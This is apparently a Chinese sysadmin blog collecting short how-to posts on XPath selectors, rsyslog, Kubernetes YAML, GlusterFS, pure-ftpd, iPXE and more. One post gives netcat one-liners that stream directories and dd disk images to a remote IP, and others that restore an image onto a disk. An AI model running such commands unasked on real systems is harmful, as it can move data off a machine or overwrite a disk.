
Order selectors

`ul > li:first-of-type`	`//ul/li[1]
`ul > li:nth-of-type(2)`	`//ul/li[2]`
`ul > li:last-of-type`	`//ul/li[last()]`
`li#id:first-of-type`	`//li[1][@id=“id”]
`a:first-child`	`//*[1][name()="a"]`
`a:last-child`	`//*[last()][name()="a"]`

Siblings

`h1 ~ ul`	`//h1/following-sibling::ul
`h1 + ul`	`//h1/following-sibling::ul[1]`
`h1 ~ #id`	`//h1/following-sibling::[@id="id"]`

jQuery

`$('ul > li').parent()`	`//ul/li/..
`$('li').closest('section')`	`//li/ancestor-or-self::section`
`$('a').attr('href')`	`//a/@href
`$('span').text()`	`//span/text()`

Other things

`h1:not([id])`	`//h1[not(@id)]
Text match	`//button[text()=“Submit”]
Text match (substring)	`//button[contains(text(),"Go")]`
Arithmetic	`//product[@price > 2.50]`
Has children	`//ul[*]`
Has children (specific)	`//ul[li]`
Or logic	`//a[@name or @href]
Union (joins results)	`//a \| //div

Class check

//div[contains(concat(' ',normalize-space(@class),' '),' foobar ')]

Xpath doesn’t have the “check if part of space-separated list” operator, so this is the workaround (source).

禁掉Rsyslog的dns解析

Sun, 21 Jan 2024 12:10:11 +0800

网管检查流量图的时候发现，udp的流量很多

看了看日志：

Jun 28 00:39:28 172.16.0.1 %ASA-6-305011: Built dynamic UDP translation from inside:172.16.36.2/2160 to outside:124.243.230.6/2160  
Jun 28 00:39:28 172.16.0.1 %ASA-6-302015: Built outbound UDP connection 1369422617 for outside:223.5.5.5/53 (223.5.5.5/53) to inside:172.1...

发现一大堆是查询dns 53的

杀了无关进程，继续，还有是那么多的udp 53 dns查询

查了半天才发现，是rsyslog记录日志的时候反查ip的域名导致的，由于是内网域名都不对，所以ip查不到，就不停的往公网dns发查询，导致udp流量激增。

知道原因就知道如何解决了

Centos下，rsyslog增加-x -Q禁止解析的参数：

vi /etc/sysconfig/rsyslog  
# Options for rsyslogd
# Syslogd options are deprecated since rsyslog v3.
# If you want to use them, switch to compatibility mode 2 by "-c 2"
# See rsyslogd(8) for more details
SYSLOGD_OPTIONS="-c 5 -x -Q"

Ubuntu下，方法一样，文件不一样

Java业务上kubernetes的注意点

Fri, 19 Jan 2024 12:10:11 +0800

java业务上k8s的话，看到一篇比较好的文章，要注意的地方：

apiVersion: apps/v1
kind: Deployment
metadata:
  name: java-web
  namespace: ops
  labels:
    app: java-web
spec:
  selector:
    matchLabels:
      app: java-web
  replicas: 2
  strategy:
    type: RollingUpdate
  template:
    metadata:
      name: java-web
      annotations:   # 第一点：新增注解
        loki.io/scrape: 'true' # 抓取直接输出的日志到loki里
        prometheus.io/path: /metrics #采集的监控地址
        prometheus.io/port: '2112'  #采集暴露的监控端口
        prometheus.io/scrape: 'true'  #打开采集开关
      labels:
        app: java-web
    spec:
      imagePullSecrets:  # 第二点：添加权限
        - name: my-docker #只有该用户才有pull镜像的权限
      containers:
        - name: java-web
          image: hb.ops.top/ops/java-web:5917f92c
          imagePullPolicy: IfNotPresent
          readinessProbe:  # 第三点：新增存活检测，当前是针对监控端口进行存活检测，也就是说只有当监控端口起来了，程序才算完全启动
            httpGet:
              port: 2112
              path: /metrics/prometheus
            initialDelaySeconds: 60
            successThreshold: 1
            failureThreshold: 3
            timeoutSeconds: 5
          startupProbe:
            httpGet:
              port: 2112
              path: /metrics/prometheus
            initialDelaySeconds: 60
            successThreshold: 1
            failureThreshold: 3
            timeoutSeconds: 5
          livenessProbe:
            httpGet:
              port: 2112
              path: /metrics/prometheus
            initialDelaySeconds: 60
            successThreshold: 1
            failureThreshold: 3
            timeoutSeconds: 5
          resources: # 第四点：设置资源限制，如果是java程序，建议limit比request大，这样可以合理分配堆内存和非堆内存
            requests:
              memory: 1024Mi
            limits:
              memory: 2048Mi
          ports:
            - name: web-port
              containerPort: 8889
          env: # 第五点：设置环境变量，可以设置时区，指定EVN环境，添加JAVA参数等
            - name: JVM_OPTS
              value: -javaagent:/opt/skywalking/skywalking-agent.jar -Xmx1G -Xms1G
            - name: TZ
              value: Asia/Shanghai
            - name: APOLLO_LABEL
              value: gray
            - name: SW_AGENT_NAME
              value: 'k8s-java-web'
            - name: SW_AGENT_COLLECTOR_BACKEND_SERVICES
              value: '10.0.0.123:11800'
            - name: ENV
              value: prod

---

apiVersion: v1
kind: Service
metadata:
  labels:
    app: java-web
  name: java-web
  namespace: ops
spec:
  ports:
  - name: java-web-port
    port: 8889
    protocol: TCP
    targetPort: 8889
    nodePort: 30009
  selector:
    app: java-web
  sessionAffinity: None
  type: NodePort
status:
  loadBalancer: {}

上面忽略了启动命令，其实容器内的启动命令也是很有学问的。

kubernetes中Pod资源清单和解释

Fri, 19 Jan 2024 12:09:11 +0800

Pod的yaml文件的资源清单和解释，备查

apiVersion: v1     #必选，版本号，例如v1
kind: Pod       　 #必选，资源类型，例如 Pod
metadata:       　 #必选，元数据
  name: string     #必选，Pod名称
  namespace: string  #Pod所属的命名空间,默认为"default"
  labels:       　　  #自定义标签列表
    - name: string      　          
spec:  #必选，Pod中容器的详细定义
  containers:  #必选，Pod中容器列表
  - name: string   #必选，容器名称
    image: string  #必选，容器的镜像名称
    imagePullPolicy: [ Always|Never|IfNotPresent ]  #获取镜像的策略 
    command: [string]   #容器的启动命令列表，如不指定，使用打包时使用的启动命令
    args: [string]      #容器的启动命令参数列表
    workingDir: string  #容器的工作目录
    volumeMounts:       #挂载到容器内部的存储卷配置
    - name: string      #引用pod定义的共享存储卷的名称，需用volumes[]部分定义的的卷名
      mountPath: string #存储卷在容器内mount的绝对路径，应少于512字符
      readOnly: boolean #是否为只读模式
    ports: #需要暴露的端口库号列表
    - name: string        #端口的名称
      containerPort: int  #容器需要监听的端口号
      hostPort: int       #容器所在主机需要监听的端口号，默认与Container相同
      protocol: string    #端口协议，支持TCP和UDP，默认TCP
    env:   #容器运行前需设置的环境变量列表
    - name: string  #环境变量名称
      value: string #环境变量的值
    resources: #资源限制和请求的设置
      limits:  #资源限制的设置
        cpu: string     #Cpu的限制，单位为core数，将用于docker run --cpu-shares参数
        memory: string  #内存限制，单位可以为Mib/Gib，将用于docker run --memory参数
      requests: #资源请求的设置
        cpu: string    #Cpu请求，容器启动的初始可用数量
        memory: string #内存请求,容器启动的初始可用数量
    lifecycle: #生命周期钩子
        postStart: #容器启动后立即执行此钩子,如果执行失败,会根据重启策略进行重启
        preStop: #容器终止前执行此钩子,无论结果如何,容器都会终止
    livenessProbe:  #对Pod内各容器健康检查的设置，当探测无响应几次后将自动重启该容器
      exec:       　 #对Pod容器内检查方式设置为exec方式
        command: [string]  #exec方式需要制定的命令或脚本
      httpGet:       #对Pod内个容器健康检查方法设置为HttpGet，需要制定Path、port
        path: string
        port: number
        host: string
        scheme: string
        HttpHeaders:
        - name: string
          value: string
      tcpSocket:     #对Pod内个容器健康检查方式设置为tcpSocket方式
         port: number
       initialDelaySeconds: 0       #容器启动完成后首次探测的时间，单位为秒
       timeoutSeconds: 0    　　    #对容器健康检查探测等待响应的超时时间，单位秒，默认1秒
       periodSeconds: 0     　　    #对容器监控检查的定期探测时间设置，单位秒，默认10秒一次
       successThreshold: 0
       failureThreshold: 0
       securityContext:
         privileged: false
  restartPolicy: [Always | Never | OnFailure]  #Pod的重启策略
  nodeName: <string> #设置NodeName表示将该Pod调度到指定到名称的node节点上
  nodeSelector: obeject #设置NodeSelector表示将该Pod调度到包含这个label的node上
  imagePullSecrets: #Pull镜像时使用的secret名称，以key：secretkey格式指定
  - name: string
  hostNetwork: false   #是否使用主机网络模式，默认为false，如果设置为true，表示使用宿主机网络
  volumes:   #在该pod上定义共享存储卷列表
  - name: string    #共享存储卷名称 （volumes类型有很多种）
    emptyDir: {}       #类型为emtyDir的存储卷，与Pod同生命周期的一个临时目录。为空值
    hostPath: string   #类型为hostPath的存储卷，表示挂载Pod所在宿主机的目录
      path: string      　　        #Pod所在宿主机的目录，将被用于同期中mount的目录
    secret:       　　　#类型为secret的存储卷，挂载集群与定义的secret对象到容器内部
      scretname: string  
      items:     
      - key: string
        path: string
    configMap:         #类型为configMap的存储卷，挂载预定义的configMap对象到容器内部
      name: string
      items:
      - key: string
        path: string

在kubernetes中基本所有资源的一级属性都是一样的，主要包含5部分：

url中的字符转义

Fri, 19 Jan 2024 12:08:11 +0800

遇到个怪问题，设置http_proxy的时候有用户密码，命令如下：

export http_proxy=http://user\2016:PmnQ 2016@192.168.0.1:3128

结果不生效，仔细观察上面的命令：

用户名其实是：“user\2016”，里面有个反斜杠\

而密码是：“PmnQ 2016”，里面有个空格

这下麻烦了，命令过不去啊。

反复搜索找到了字符转义表，第一个图是可以安全转义的：

下面这张是不安全的：

转一下吧： \ 的16进制HEX是%5C，空格的16进制HEX是%20

最后的语法：

export http_proxy=http://user%5C2016:PmnQ%202016@192.168.0.1:3128

搞定收工。

如何通过extundelete恢复删除文件

Fri, 19 Jan 2024 12:06:11 +0800

考古篇，记录下来，现在都是xfs了，但是方法不能忘啊！

恢复过程如下：

1、安装extundelete

yum -y install e2fsprogs e2fsprogs-libs e2fsprogs-devel  
wget http://jaist.dl.sourceforge.net/project/extundelete/extundelete/0.2.4/extundelete-0.2.4.tar.bz2  
tar -jxvf extundelete-0.2.4.tar.bz2  
cd extundelete-0.2.4  
./configure
make  
make install

2、卸载要恢复的分区

如果你误删除的分区是/dev/sda2,那么首先需要umount 这个分区的挂载点

3、开始恢复

首先df -lh查看分区的使用情况，选择一个剩余空间足够容纳要恢复的文件大小的分区，例如你的/home分区剩余100G，你需要恢复的文件小于100G，那么你可以cd /home 然后进行恢复操作

cd /home

恢复单个文件或文件夹

extundelete /dev/mapper/vg_localhost-lv_home –restore-files 文件名

我是直接恢复整个分区

extundelete /dev/mapper/vg_localhost-lv_home –restore-all

然后会在当前目录生成一个恢复文件夹，进去找你要的文件就可以了

netcat的一些远程用法

Fri, 19 Jan 2024 12:05:11 +0800

一、远程传输文件压缩包

tar zcvf - /export/A0 | nc 192.168.86.5 8732

nc -l 8732 > A0.tar.gz

方向倒过来也是可以的，在服务端压缩文件

tar zcvf - /export/A0 | nc -l -p8732

nc 192.168.86.5 8732 > A0.tar.gz

二、远程传输整个目录

tar cvf - /export/A0 | nc 192.168.86.5 8732

nc -l 8732 | tar xvf -

三、远程备份分区到一个文件

dd if=/dev/sdb | gzip -c | nc 192.168.86.5 8732

nc -lp 8732 | dd of=/backup/sdb.img.gz

四、将远程分区备份文件拉到本地并恢复分区

cat /backup/sdb.img.gz | nc 192.168.86.5 8732

nc -lp 8732 | gunzip -c | sudo dd of=/dev/sdb

Linux下Screen乱码

Fri, 19 Jan 2024 12:01:11 +0800

很烦躁的问题，Terminal 终端是UTF8，显示无问题。

可是运行 screen 后就乱码，screen 后的 env 环境跟之前一样，完全无问题

解决方法如下：

在自己用户的.screenrc中加两句

defencoding utf-8  
encoding utf-8 utf-8

得把环境变量带到screen中，才行。

jenkins中execute shell的注意事项

Fri, 19 Jan 2024 12:00:11 +0800

缺省jenkins的execute shell的方式是如下带着参数的：

sh -xe hudsonxxx.sh

说明一下：

-e 打开开关 表示一旦脚本中有命令的返回值为非0，则脚本立即退出，后续命令不再执行;
+e 关上开关

-x 打开开关 表示执行指令后，会先显示该指令及所下的参数。
+x 关上开关

详细解释一下：

set -e 表示一旦脚本中有命令的返回值为非0，则脚本立即退出，后续命令不再执行;

set -x 表示执行指令后，会先显示该指令及所下的参数。 

set -o pipefail  表示在管道连接的命令序列中，只要有任何一个命令返回非0值，则整个管道返回非0值，即使最后一个命令返回0.

注意在引用nvm以及meteor的环境中，要设置set +e 否则source nvm.sh的过程容易出错！

linux下如何在命令行下解析处理json文件

Fri, 19 Jan 2024 10:13:11 +0800

最近调试Elasticsearch比较多，老用curl来查看数据，pretty=on固然是好，可是如果要具体看传回来的json数据，还是不方便，另外如果想在shell里处理json格式，就不知道如何是好了。就被迫改用python了，有没有在shell下调试json的工具呢？

有，就是jq，安装so easy：

wget http://stedolan.github.io/jq/download/linux32/jq (32-bit system)  
wget http://stedolan.github.io/jq/download/linux64/jq (64-bit system)  
chmod +x ./jq  
mv jq /usr/local/bin

给个json样本文件

cat google.json  
{
        "name": "Google",
        "location":
                {
                        "street": "1600 Amphitheatre Parkway",
                        "city": "Mountain View",
                        "state": "California",
                        "country": "US"
                },
        "employees":
                [
                        {
                                "name": "Michael",
                                "division": "Engineering"
                        },
                        {
                                "name": "Laura",
                                "division": "HR"
                        },
                        {
                                "name": "Elise",
                                "division": "Marketing"
                        }
                ]
}

看上面，{}括起来的是对象，如果是[]括起来的就是数组了，nodejs要注意这一点，其实json是js的Object的子集。

获取对象：

cat google.json | jq '.name'  
"Google"

获取嵌套对象：

cat google.json | jq '.location.city'  
"Mountain View"

获取一个数组的值：

cat google.json | jq '.employees[0].name'  
"Michael"

获取对象的多个字段：

cat google.json | jq '.location | {street, city}'  
{
  "city": "Mountain View",
  "street": "1600 Amphitheatre Parkway"
}

很简单吧，和curl结合起来，就可以在shell进行编程处理json文件了。

linu下如何让mount显示的很整齐

Fri, 19 Jan 2024 10:12:11 +0800

如果单独执行mount命令，显示的会很杂乱：

mount  
/dev/sda3 on / type ext4 (rw)
proc on /proc type proc (rw)  
sysfs on /sys type sysfs (rw)  
devpts on /dev/pts type devpts (rw,gid=5,mode=620)  
tmpfs on /dev/shm type tmpfs (rw)  
/dev/sda1 on /boot type ext4 (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)  
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)  
You have mail in /var/spool/mail/root

乱作一团，那么怎么让这些显示整齐一些呢？

mount |column -t  
/dev/sda3  on  /                         type  ext4         (rw)
proc       on  /proc                     type  proc         (rw)  
sysfs      on  /sys                      type  sysfs        (rw)  
devpts     on  /dev/pts                  type  devpts       (rw,gid=5,mode=620)  
tmpfs      on  /dev/shm                  type  tmpfs        (rw)  
/dev/sda1  on  /boot                     type  ext4         (rw)
none       on  /proc/sys/fs/binfmt_misc  type  binfmt_misc  (rw)  
sunrpc     on  /var/lib/nfs/rpc_pipefs   type  rpc_pipefs   (rw)

整齐多了，对吧。

群晖(黑群晖)的备份

Fri, 19 Jan 2024 10:11:11 +0800

数据很重要、数据很重要、数据很重要！！！

重要的话说三遍，话说自己买了个黑群晖，6盘位的，就是为了保存照片和数据……

其实1盘和2盘的nas都是耍流氓，根本无用，必须是4盘位以上的才勉强可靠。所以才买的这个黑群晖，只买了3个盘做了raid5，侥是如此，真的是莫名坏了一块，好在在保修期内，更换一块后故障解除，期间倒腾2块盘的数据依然是噩梦啊。

那么数据如此重要，那么怎么做到完全的备份呢？

数据是3盘raid5，已经有保证了，剩下就是系统也必须有备份可恢复才可以

群晖本质是linux，文件系统是mdadm+lvm，所以备份也必须从这个方向开始。

首先是备份启动的usb盘，先fdisk -l 看一下：

Disk /dev/sda: 2000.3 GB, 2000398934016 bytes  
255 heads, 63 sectors/track, 243201 cylinders  
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks  Id System
/dev/sda1               1         311     2490240  fd Linux raid autodetect
Partition 1 does not end on cylinder boundary  
/dev/sda2             311         572     2097152  fd Linux raid autodetect
Partition 2 does not end on cylinder boundary  
/dev/sda3             588      243201  1948793440+ fd Linux raid autodetect

Disk /dev/sdb: 2000.3 GB, 2000398934016 bytes  
255 heads, 63 sectors/track, 243201 cylinders  
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks  Id System
/dev/sdb1               1         311     2490240  fd Linux raid autodetect
Partition 1 does not end on cylinder boundary  
/dev/sdb2             311         572     2097152  fd Linux raid autodetect
Partition 2 does not end on cylinder boundary  
/dev/sdb3             588      243201  1948793440+ fd Linux raid autodetect

Disk /dev/sdc: 2000.3 GB, 2000398934016 bytes  
255 heads, 63 sectors/track, 243201 cylinders  
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks  Id System
/dev/sdc1               1         311     2490240  fd Linux raid autodetect
Partition 1 does not end on cylinder boundary  
/dev/sdc2             311         572     2097152  fd Linux raid autodetect
Partition 2 does not end on cylinder boundary  
/dev/sdc3             588      243201  1948793440+ fd Linux raid autodetect

Disk /dev/sdu: 4227 MB, 4227858432 bytes  
4 heads, 32 sectors/track, 64512 cylinders  
Units = cylinders of 128 * 512 = 65536 bytes

   Device Boot      Start         End      Blocks  Id System
/dev/sdu1   *           1         256       16352+  e Win95 FAT16 (LBA)

3块2T的盘，每个盘有3个分区，然后最后是USB盘，盘符sdu，备份它

如何把jpg合成gif

Fri, 19 Jan 2024 10:10:11 +0800

用ffmpeg就很简单了

首先把要合并的jpg都变成合适的尺寸

convert -resize 300x *.jpg

然后变gif

convert -delay 30 -loop 0 1.jpg 2.jpg 3.jpg 4.jpg result.gif

-loop 0 表示无限循环 -delay 30 表示每帧之间等待的时间

mac os下安装openvpn客户端并设置自启动

Fri, 19 Jan 2024 10:09:11 +0800

没办法，网络环境太烂，只能装个openvpn client连接到服务器，系统是mac，要求一直保持连接，还要能重启自动连。

安装过程如下：

1.安装openvpn

brew install openvpn

2.安装tun/tap驱动

wget http://downloads.sourceforge.net/tuntaposx/tuntap_20150118.tar.gz  
tar zxvf tuntap_20150118.tar.gz  

然后在mac os桌面下，双击tuntap_20150118.pkg安装

3.准备client.conf文件，这个文件就是标准的client端文件

4.测试是否可以正常启动

/usr/local/opt/openvpn/sbin/openvpn --config /usr/local/etc/openvpn/ddky.conf

5.测试成功后在mac os编写plist文件

vi /Library/LaunchDaemons/net.openvpn.plist  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"  
"http://www.apple.com/DTDs/PropertyList-1.0.dtd";>
<plist version="1.0">

<dict>  
        <key>Label</key>
        <string>net.openvpn</string>
        <key>KeepAlive</key>
        <dict>
                <key>NetworkState</key>
                <true/>
        </dict>
        <key>Program</key>
        <string>/usr/local/opt/openvpn/sbin/openvpn</string>
        <key>ProgramArguments</key>
        <array>
                <string>openvpn</string>
                <string>--config</string>
                <string>/usr/local/etc/openvpn/client.conf</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>TimeOut</key>
        <integer>90</integer>
        <key>WorkingDirectory</key>
        <string>/usr/local/etc/openvpn</string>
</dict>  
</plist>

6.然后运行

Ubuntu下如何给所有用户安装nodejs的nvm

Fri, 19 Jan 2024 09:09:11 +0800

最近工作比较多在Ubuntu平台下。

用visualenv和nvm比较多，但是nvm遇到的问题比较多。

比如jenkins调用nvm就比较麻烦

如何用用root用户给所有用户都装上统一的nvm呢？

1、首先安装基本依赖包:

apt-get install build-essential openssl libssl-dev curl

2、建个公共组，这个组的成员可以控制nvm：

groupadd dev

3、git克隆下载nvm的代码

git clone https://github.com/creationix/nvm.git /opt/nvm

4、建立两个公用目录，一个是放nvm，一个是放nodejs的npm，并设置好权限

mkdir /usr/local/nvm  
mkdir /usr/local/node  
chown -R root:dev /usr/local/nvm  
chmod -R 775 /usr/local/nvm  
chown -R root:dev /usr/local/node  
chmod -R 775 /usr/local/node

5、建立好公用的 /etc/profile.d/nvm.sh 供所有人source用，注意，source命令是bash下用的，如果是sh，就用.替代。

export NVM_DIR=/usr/local/nvm  
source /opt/nvm/nvm.sh

export NPM_CONFIG_PREFIX=/usr/local/node  
export PATH="/usr/local/node/bin:$PATH"

6、断开重新登录，加载nvm

nvm --version

7、安装特定版本的node

nvm install V18.18.2

8、设置缺省node的版本

nvm alias default V18.18.2

9、随后把用户拉进dev组，然后登陆就可以了。验证命令如下：

nvm list  
node -v

ulimit的用法

Thu, 18 Jan 2024 17:09:11 +0800

基本常识，各种语焉不详啊，其实ulimit最常用的就两个参数

-u number:  单个用户能运行的最大进程数
-n number:  单个进程可以同时打开的文件描述符的最大值，缺省1024

有两个地方需要设置，Hard和Soft，Hard是Soft的最高限值，天花板。这两个值都可以针对某用户单独设置。

所以设法如下：

ulimit -S -n 10240  
ulimit -H -n 20480  
ulimit -S -u 10240  
ulimit -H -u 20480

可以在/etc/security/limits.conf里设置

* soft nofile 65536
* hard nofile 65536
* soft nproc 131072
* hard nproc 131072

也可以在/etc/rc.d/rc.local中用命令设置

cat /etc/rc.d/rc.local  
...
ulimit -u 204800 -HSn 204800  
...

flask/python对mongodb的一些操作

Thu, 18 Jan 2024 17:08:11 +0800

首先是安装mongodb

yum install -y mongodb-server mongodb

Installing for dependencies:  
 boost-filesystem                                      
 boost-iostreams                                       
 boost-program-options                                 
 boost-system                                          
 boost-thread                                          
 gperftools-libs                                       
 libicu                                                
 libunwind                                             
 v8

会装一堆依赖包，boost库，icu库，v8库，gperftools库，都是很厉害的库啊！

启动：

service mongod start

导入海量数据：

[root@ovs-16-11-2 ~]# mongoimport -d mydb -c prj01 --type csv --file opendata_projects.csv --headerline
connected to: 127.0.0.1  
Thu Jul 28 09:50:47.002         Progress: 39118658/470754183    8%  
Thu Jul 28 09:50:47.002             74400   24800/second  
Thu Jul 28 09:50:50.033         Progress: 80042213/470754183    17%  
Thu Jul 28 09:50:50.033             150700  25116/second  
Thu Jul 28 09:50:53.145         Progress: 108143323/470754183   22%  
Thu Jul 28 09:50:53.145             202700  22522/second  
Thu Jul 28 09:50:56.004         Progress: 149781879/470754183   31%  
Thu Jul 28 09:50:56.004             280000  23333/second  
Thu Jul 28 09:50:59.001         Progress: 179705162/470754183   38%  
Thu Jul 28 09:50:59.001             336200  22413/second  
Thu Jul 28 09:51:03.385         Progress: 212197023/470754183   45%  
Thu Jul 28 09:51:03.385             396400  20863/second  
Thu Jul 28 09:51:06.015         Progress: 236552399/470754183   50%  
Thu Jul 28 09:51:06.015             441700  20077/second  
Thu Jul 28 09:51:09.299         Progress: 264365847/470754183   56%  
Thu Jul 28 09:51:09.299             493300  19732/second  
Thu Jul 28 09:51:12.001         Progress: 304790148/470754183   64%  
Thu Jul 28 09:51:12.001             568500  20303/second  
Thu Jul 28 09:51:15.033         Progress: 323508057/470754183   68%  
Thu Jul 28 09:51:15.033             603300  19461/second  
Thu Jul 28 09:51:18.607         Progress: 361610334/470754183   76%  
Thu Jul 28 09:51:18.607             674200  19829/second  
Thu Jul 28 09:51:21.000         Progress: 393748962/470754183   83%  
Thu Jul 28 09:51:21.000             733700  19829/second  
Thu Jul 28 09:51:24.007         Progress: 427667505/470754183   90%  
Thu Jul 28 09:51:24.007             796900  19922/second  
Thu Jul 28 09:51:27.001         Progress: 459658299/470754183   97%  
Thu Jul 28 09:51:27.001             857300  19937/second  
Thu Jul 28 09:51:27.793 check 9 878853  
Thu Jul 28 09:51:27.979 imported 878852 objects

进入命令行，看看库的整体情况：

F5 irule之google站长认证别样用法

Thu, 18 Jan 2024 17:07:11 +0800

公司的网站要过google认证，需要在网站根目录下放一个文件，googleb1e6d9a50ea8xxxx.html

内容如下：

google-site-verification: googleb1e6d9a50ea8xxxx.html

这个无比简单，怎么又跟F5和irule扯上关系了呢？！

哎，因为居然要做两个域名，m.xxx.com和h.xxx.com，这两个域名都要过认证，而且悲剧的是，这两个域名实际代理的是同一台后端服务器的同一个tomcat进程。

鉴于这个东西这么简单，干脆在F5上来一段irule解决问题：

when HTTP_REQUEST {  
 if { ([string tolower [HTTP::path]] starts_with "/googleb1e6d9a50ea8xxxx.html") && ([string tolower [HTTP::host]] equals "m.xxx.com") } {
  HTTP::respond 200 content "google-site-verification: googleb1e6d9a50ea8xxxx.html"
 }
}

由于没有复用ip，所以在h.xxx.com同样修改以上脚本并应用即可。

如果是穷光蛋作风，在F5上复用了IP做了虚拟主机转发，也修改修改脚本即可。

mbox文件中的=3D是什么鬼(quoted-printable编码)

Thu, 18 Jan 2024 17:06:11 +0800

最近在搞邮局。有个很奇怪的问题，就是打开mbox的文件，比如说：

/var/spool/mail/root

里面信件的部分有奇怪的3D字符：

<table cellpadding=3D"0" cellspacing=3D"0" style=3D"text-align:le=  
ft;color:#454545;background-color:#fff;font-size:14px;border-radius:10px;pa=

注意，中间多了若干个3D，最后也多了=号

这是什么鬼呢？

搜了一圈，原来这是quoted-printable编解码，跟Base64类似，base64和quoted-printable这两种编码都是在电子邮件中常见的编码方式。

基本知识：

如果=号出现在一行最后，表示换行，那么： he= llo 意思就是连起来的hello
如果中间出现=3D，那就是一个=号的意思所以style=3D"text"意思就是style=“text”
英文字符除了=以外不做处理，其他字符的编码为=加这个字符的两个字节的16进制数。

弄明白了吧。

给一段处理mbox的python程序，可以用来读邮件：

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import mailbox  
import base64  
import os  
import sys  
import email

import quopri


filename = "/var/spool/mail/zrr"

mb = mailbox.mbox(filename)  
nmes = len(mb)

for i in range(len(mb)):  
        print "\n\n\n\n\n"
        print "-------------------------------------------------------------------------------------------------"
    print "Email", i
        print "-------------------------------------------------------------------------------------------------"

    mes = mb.get_message(i)
    em = email.message_from_string(mes.as_string())

    subject = em.get('Subject')
    if subject.find('=?') != -1:
        ll = email.header.decode_header(subject)
        subject = ""
        for l in ll:
            subject = subject + l[0]

    em_from = em.get('From')
    if em_from.find('=?') != -1:
        ll = email.header.decode_header(em_from)
        em_from = ""
        for l in ll:
            em_from = em_from + l[0]

    print "From: %s - Subject: %s" %(em_from, subject)
        print "-------------------------------------------------------------------------------------------------"

        if mes.is_multipart():
            for part in mes.get_payload():
                print  quopri.decodestring(part.get_payload())
        else:
            print quopri.decodestring(mes.get_payload())

Linux下virtual FTP的搭建pure-ftpd

Thu, 18 Jan 2024 17:05:11 +0800

用过proftpd和vs-ftpd，proftpd有巨恐怖的sftp细粒度控制，特殊场合非常好。

但是总觉得都很复杂，我们文件系统的底层是GlusterFS，在之上建立虚用户，用proftpd和vs-ftpd都感觉复杂。

所以一直在找简单的方法，最后发现了pure-ftpd，很简单！！！

首先建一个无任何登陆权的新用户，注意，uid必须在500以上，不能用系统缺省的用户ftp，后面改pure-ftpd.conf时会有说明：

useradd -u1000  -U -s/sbin/nologin -M ftpuser

安装pure-ftpd

yum -y install pure-ftpd

修改配置：

vi /etc/pure-ftpd/pure-ftpd.conf  
ChrootEveryone              yes  
AnonymousOnly               no  
NoAnonymous                 yes  
PureDB                      /etc/pure-ftpd/pureftpd.pdb  
#PAMAuthentication          yes
UnixAuthentication          yes  
#注意，这里就指出了最小uid，所以第一步建立用户的时候uid不能小于500，否则pure-ftpd无法认证
MinUID                      500  
CreateHomeDir               yes

改完后，我们来增加个用户，注意语法，test是虚拟用户名，-u和-g是虚拟用户对应linux系统的系统用户，就是我们第一步建立的那个无登陆权的ftpuser，-d是home目录，这个不用建，用户第一次登陆的时候pure-ftpd会自动建立：

pure-pw useradd test -u ftpuser -g ftpuser -d /var/www/ppp

重建hash

pure-pw mkdb

重启pure-ftpd

service restart pure-ftpd

ok，搞定了，一定要注意uid的问题。其他无复杂的地方。

GlusterFS的日常应用

Thu, 18 Jan 2024 17:04:11 +0800

基本上搭建glusterfs都是用了2个副本，用来保证数据冗余

建立新卷，/export/test-vol目录不用事先建立，会自动建立的：

gluster volume create test-vol replica 2 transport tcp 172.16.8.5:/export/test-vol/ 172.16.8.6:/export/test-vol/

如上建立新卷后，test-vol的属主是root，如果我们想基于gfs之上做个虚拟的vsftpd，建设用户是virtual.virtual，500.500

设置卷uid/gid属性：

gluster volume set test-vol storage.owner-uid 500  
gluster volume set test-vol storage.owner-gid 500

设置卷的quota空间配额：

gluster volume quota test-vol enable  
gluster volume quota test-vol limit-usage / 10GB  
gluster volume quota test-vol limit-usage /path/in/volume 2G  
gluster volume set test-vol features.quota-timeout 30  
gluster volume quota test-vol list  
gluster volume quota test-vol list /path/in/volume

去掉quota限制：

gluster volume quota test-vol remove /  
gluster volume quota test-Vol remove /path/in/volume

优化tcp参数：

gluster volume set test-vol diagnostics.brick-log-level WARNING  
gluster volume set test-vol diagnostics.client-log-level WARNING  
gluster volume set test-vol nfs.enable-ino32 on  
gluster volume set test-vol nfs.addr-namelookup off  
gluster volume set test-vol nfs.disable on  
gluster volume set test-vol performance.cache-max-file-size 2MB  
gluster volume set test-vol performance.cache-refresh-timeout 4  
gluster volume set test-vol performance.cache-size 256MB  
gluster volume set test-vol performance.write-behind-window-size 4M  
gluster volume set test-vol performance.io-thread-count 32

设置卷访问权限

ipxe中menu.c32和vesamenu.c32的用法

Thu, 18 Jan 2024 17:02:11 +0800

在做pxelinux启动的过程中，不可避免的会用到菜单选项。有两个选择，menu.c32 和 vesamenu.c32。

效果如下： menu.c32

vesamenu.c32

区别就是一个地方，我们看一下配置文件：

default vesamenu.c32  
PROMPT 0  
NOESCAPE 0  
ALLOWOPTIONS 0  
TIMEOUT 200


MENU TITLE Boot Menu

LABEL Ghost_Client_UNDI  
  MENU LABEL ^1. Ghost Client UNDI
  MENU DEFAULT
  kernel memdisk
  append keeppxe initrd=imz/Client_undi.imz

LABEL Ghost_Client_NDIS  
  MENU LABEL ^2. Ghost Client NDIS
  kernel memdisk
  APPEND keeppxe initrd=imz/Client_ndis.IMZ

LABEL WinPE  
  MENU LABEL ^3. WinPE 2.0
  KERNEL boot/pxeboot.0

LABEL PartedMagic  
  MENU LABEL ^4. Parted Magic
  kernel utils/pmagic/bzImage

LABEL Local_Drive  
 MENU LABEL ^5. Boot Local Drive
 #  localboot 0
 KERNEL chain.c32
 APPEND hd0 0

区别就是第一行:

ipxe启动Dos 6.22

Thu, 18 Jan 2024 17:01:11 +0800

太古老的命题了，如果想玩Dos 6.22之下的游戏，那就需要引动一个Dos系统了。

系统文件倒是现成的，Dos6.22.img。

如何做个ipxe的启动呢？

简单，依样画葫芦，修改boot2.php

  case '\52:54:00:7f:65:bb':
    echo "initrd http://172.16.8.1/ks/dos/Dos6.22.img\n";
    echo "chain http://172.16.8.1/ks/dos/memdisk\n";
    break;

